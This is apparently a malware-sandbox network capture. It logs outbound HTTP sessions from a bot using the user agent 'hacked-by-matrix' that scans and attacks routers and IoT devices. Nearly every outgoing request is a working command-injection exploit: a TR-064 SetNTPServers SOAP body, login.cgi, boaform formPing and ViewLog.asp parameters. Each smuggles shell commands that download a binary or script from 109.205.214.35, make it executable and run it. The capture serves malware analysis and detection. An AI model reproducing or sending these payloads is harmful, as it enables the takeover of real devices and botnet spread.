Mar 21, 2024 05:17:40.628143072 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:40.855298042 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 01:17:39 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.23	40692	83.66.198.121	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.633409023 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:41.790852070 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.131174088 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:45.978775024 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:51.356951952 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:02.104552984 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:24.886382103 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.23	45660	212.87.208.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.743369102 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.23	48282	200.53.13.121	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.855554104 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:41.077272892 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 01:17:40 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.23	34458	158.69.159.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.856070042 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:40.964441061 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:40 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.23	47140	18.184.91.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.912952900 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:41.450581074 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.23	60794	212.199.167.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.077635050 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:41.298543930 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.23	42536	5.217.90.137	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.125099897 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:41.947364092 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:43.579240084 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:47.002702951 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:53.658886909 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:06.711929083 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:33.076267004 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.23	49090	115.8.248.148	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.155687094 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:42.652245045 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:42.954504013 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:17:42 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.23	40248	212.69.194.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.247009993 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:41.412761927 CET	620	IN	HTTP/1.1 400 Bad Request Date: Tue, 19 Mar 2024 06:31:18 GMT Server: Apache/1.3.42 (Unix) (Red-Hat/Linux) FrontPage/4.0.4.3 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 Data Raw: 31 37 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 63 6c 69 65 6e 74 20 73 65 6e 74 20 48 54 54 50 2f 31 2e 31 20 72 65 71 75 65 73 74 20 77 69 74 68 6f 75 74 20 68 6f 73 74 6e 61 6d 65 20 28 73 65 65 20 52 46 43 32 36 31 36 20 73 65 63 74 69 6f 6e 20 31 34 2e 32 33 29 3a 20 2f 6c 6f 67 69 6e 2e 63 67 69 3c 50 3e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 41 70 61 63 68 65 2f 31 2e 33 2e 34 32 20 53 65 72 76 65 72 20 61 74 20 63 67 70 72 69 6e 74 2e 63 6f 2e 75 6b 20 50 6f 72 74 20 38 30 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 176<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /login.cgi<P><HR><ADDRESS>Apache/1.3.42 Server at cgprint.co.uk Port 80</ADDRESS></BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.23	44424	62.29.103.219	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.622173071 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.23	59432	108.183.203.149	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.786175013 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.23	53576	81.145.248.161	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.830352068 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.23	48876	80.135.148.157	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.834443092 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:42.020534039 CET	371	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 21 Mar 2024 04:17:41 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://_/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:42.020626068 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:42.399832010 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.23	40704	83.66.198.121	7547

Timestamp	Bytes transferred	Direction	Data
